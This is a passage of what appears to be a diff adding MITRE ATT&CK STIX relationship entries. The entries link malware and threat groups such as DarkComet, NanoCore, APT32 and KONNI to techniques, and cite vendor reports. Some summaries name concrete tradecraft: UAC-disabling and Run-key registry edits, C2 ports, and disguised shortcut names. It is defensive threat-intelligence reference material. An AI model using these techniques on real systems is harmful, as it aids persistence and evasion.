"type": "relationship", + "created": "2019-01-29T18:44:04.958Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08109d9e-3258-4b9b-8e1d-ea90d05c18b9", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "source_name": "Fortinet Agent Tesla June 2017", + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "modified": "2019-04-16T14:30:35.395Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can search for files on the infected machine.", + "type": "relationship", + "created": "2019-01-29T18:55:20.966Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cafaa08a-1f40-40cb-a3fd-c507a1cc6e40", + "external_references": [ + { + "source_name": "Riskiq Remcos Jan 2018", + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "modified": "2019-04-19T14:39:53.078Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) adds a Registry value for its installation routine to the Registry Key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System Enable LUA=\u201d0\u201d and HKEY_CURRENT_USER\\Software\\DC3_FEXEC.", + "type": "relationship", + "created": "2019-01-29T19:18:28.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c88e7db9-47b1-4fe9-943a-98ebde29980b", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.666Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) communicates to its C2 over ports 6666 and 4782.", + "type": "relationship", + "created": "2019-01-29T20:05:36.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f05d6d7d-74c7-4688-bc3f-8bdb9dd707e6", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + }, + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.949Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T17:49:17.988Z", + "type": "relationship", + "created": "2019-01-29T21:27:25.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b56a1198-e23a-48f4-9744-7a6f087b79a3", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) obfuscates communications with the C2 server using Base64 encoding.", + "type": "relationship", + "created": "2019-01-29T21:40:37.640Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a70a6fbd-379d-4104-8323-ce25a950c892", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.732Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) is capable of launching a remote shell on the host to delete itself.", + "type": "relationship", + "created": "2019-01-29T21:57:39.524Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad595353-854a-4e2d-b569-7cbe7130015d", + "external_references": [ + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-04-17T22:12:24.931Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects a list of running processes.", + "type": "relationship", + "created": "2019-01-30T13:42:09.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--058c67f3-9345-42be-a433-a4cea314d26d", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.638Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) uses cmd.exe to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T14:00:49.896Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e453cf75-0df0-45e5-a5ce-e0984bf864f8", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + }, + { + "source_name": "Anomali Evasive Maneuvers July 2015", + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "modified": "2019-05-30T18:05:32.848Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) adds the configuration to the Registry in XML format.", + "type": "relationship", + "created": "2019-01-30T15:10:04.241Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab11615f-a0d9-43c9-b71e-6ae83155bf3b", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:12.017Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the commands net start and tasklist to get a listing of the services on the system.", + "type": "relationship", + "created": "2019-01-30T15:33:07.459Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9c7127d-2a27-4dcf-bef5-9150a6c4334d", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). 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(2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.278Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) sets HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load to point to its executable.", + "type": "relationship", + "created": "2019-01-30T16:39:54.476Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7983dcd-1970-4d84-82e7-a61d2125caeb", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. 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Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "modified": "2019-06-28T15:30:58.853Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has deleted itself after creating a service as well as deleted a temporary file when the system reboots.", + "type": "relationship", + "created": "2019-01-30T17:48:35.644Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49c54595-7740-40c9-8f12-68d8fd70ce9d", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.644Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:36:29.995Z", + "type": "relationship", + "created": "2019-01-30T18:02:59.516Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0608a4e2-575d-4a2b-9ab4-b85d6d12450b", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.509Z", + "type": "relationship", + "created": "2019-01-30T19:06:33.901Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f402d02-94f9-49de-b097-2d89c59de394", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used rundll32 for execution.", + "type": "relationship", + "created": "2019-01-30T19:50:46.755Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1d2f617-f0ca-43b8-921c-687fad920f39", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.395Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) creates a shortcut called \"Anti virus service.lnk\" in an apparent attempt to masquerade as a legitimate file.", + "type": "relationship", + "created": "2019-01-31T00:36:40.976Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4f3a2bc-d359-400e-8b1e-95d71a20c323", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:19.330Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) established persistence using Registry Run keys, both to execute PowerShell and VBS scripts as well as to execute their backdoor directly.", + "type": "relationship", + "created": "2019-01-31T01:07:58.711Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f4a0f496-b47c-4bdf-affb-b57fb17203db", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.698Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used VBA macros to display a dialog box and collect victim credentials.", + "type": "relationship", + "created": "2019-01-31T02:01:45.707Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ef0077e-ee87-4e67-a466-2085a9148fc9", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. 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Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.305Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.346Z", + "type": "relationship", + "created": "2019-01-31T01:17:09.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90073373-434c-403c-bbb1-779b25fccb3d", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can open a command-line interface.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--962db69e-efe1-4e5f-b845-99294ace5eb0", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) communicates over HTTP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb11df98-790a-4b1c-9ca0-73224226cff3", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a scheduled task.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac89c5e2-ade5-4889-a905-7dbe835ff5fd", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. 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Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) encodes C2 traffic with base64.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Various implementations of [CHOPSTICK](https://attack.mitre.org/software/S0023) communicate with C2 over HTTP, SMTP, and POP3.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-05-14T17:10:21.973Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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Retrieved April 8, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb491007.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can download or upload files from its C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": 